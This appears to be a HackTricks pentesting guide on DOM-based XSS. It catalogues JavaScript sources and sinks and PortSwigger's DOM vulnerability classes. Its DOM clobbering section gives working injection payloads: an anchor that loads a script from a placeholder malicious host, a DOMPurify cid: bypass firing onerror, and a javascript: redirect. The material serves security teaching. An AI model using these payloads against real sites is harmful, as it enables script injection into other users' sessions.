hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss.md

378 lines
16 KiB
Markdown
Raw Normal View History

# DOM XSS
## **DOM vulnerabilities**
> **Sources**
>
> A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the `location.search` property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL \(exposed by the `document.referrer` string\), the user's cookies \(exposed by the `document.cookie` string\), and web messages.
> **Sinks**
>
> A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the `eval()` function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is `document.body.innerHTML` because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.
Fundamentally, DOM-based vulnerabilities arise when a website **passes data from a source to a sink**, which then handles the data in an unsafe way in the context of the client's session.
**Common sources:**
```javascript
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```
**Common Sinks:**
| \*\*\*\*[**Open Redirect**](dom-xss.md#open-redirect)\*\*\*\* | [**Javascript Injection**](dom-xss.md#javascript-injection)\*\*\*\* | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation)\*\*\*\* | **jQuery** |
| :--- | :--- | :--- | :--- |
| `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
| `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` |
| `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` |
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
| `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation)\*\*\*\* | `someDOMElement.value` | `replaceWith()` |
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation)\*\*\*\* | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | \*\*\*\*[**Link manipulation**](dom-xss.md#link-manipulation)\*\*\*\* | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | \*\*\*\*[**Client-side JSON injection**](dom-xss.md#client-side-sql-injection)\*\*\*\* |
| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation)\*\*\*\* | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection)\*\*\*\* | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **\`\`**[**`Denial of Service`**](dom-xss.md#denial-of-service)**\`\`** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation)\*\*\*\* |
| `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation)\*\*\*\* | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | \*\*\*\*[**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning)\*\*\*\* |
| \*\*\*\*[**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection)\*\*\*\* | \*\*\*\*[**Web-message manipulation**](dom-xss.md#web-message-manipulation)\*\*\*\* | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` |
The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`.
This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.
## Examples
### Open Redirect
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
#### How
DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**.
Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`**
#### Sinks
```text
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```
### Cookie manipulation
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
#### How
DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.
This could be abuse to make the page behaves on unexpected manner \(if the cookie is used in the web\) or to perform a [session fixation](../hacking-with-cookies.md#session-fixation) attack \(if the cookie is used to track the user's session\).
#### Sinks
```text
document.cookie
```
### JavaScript Injection
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
#### How
DOM-based JavaScript-injection vulnerabilities arise when a script executes **attacker-controllable data as JavaScript**.
#### Sinks
```text
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
```
### Document-domain manipulation
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
#### How
Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property.
The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.
Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains.
#### Sinks
```text
document.domain
```
### WebSocket-URL poisoning
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
#### How
WebSocket-URL poisoning occurs when a script uses **controllable data as the target URL** of a WebSocket connection.
#### Sinks
The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.
### Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
#### How
DOM-based link-manipulation vulnerabilities arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.
#### Sinks
```text
someDOMElement.href
someDOMElement.src
someDOMElement.action
```
### Ajax request manipulation
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
#### How
Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object.
#### Sinks
```text
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
```
### Local file-path manipulation
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
#### How
Local file-path manipulation vulnerabilities arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the **user's browser to open/write an arbitrary local file**.
#### Sinks
```text
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
```
### Client-Side SQl injection
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
#### How
Client-side SQL-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.
#### Sinks
```text
executeSql()
```
### HTML5-storage manipulation
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
#### How
HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser \(either `localStorage` or `sessionStorage`\).
This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.
#### Sinks
```text
sessionStorage.setItem()
localStorage.setItem()
```
### XPath injection
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
#### How
DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**.
#### Sinks
```text
document.evaluate()
someDOMElement.evaluate()
```
### Client-side JSON injection
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
#### How
DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.
#### Sinks
```text
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
```
### Web-message manipulation
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
#### How
Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser.
**Example** of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)
#### Sinks
The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
### DOM-data manipulation
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
#### How
DOM-data manipulation vulnerabilities arise when a script writes **attacker-controllable data to a field within the DOM** that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.
#### Sinks
```text
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
```
### Denial of Service
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
#### How
DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts.
#### Sinks
```text
requestFileSystem()
RegExp()
```
## **DOM Clobbering**
A common pattern used by JavaScript developers is:
`var someObject = window.someObject || {};`
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
```python
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you **create an `input`**inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.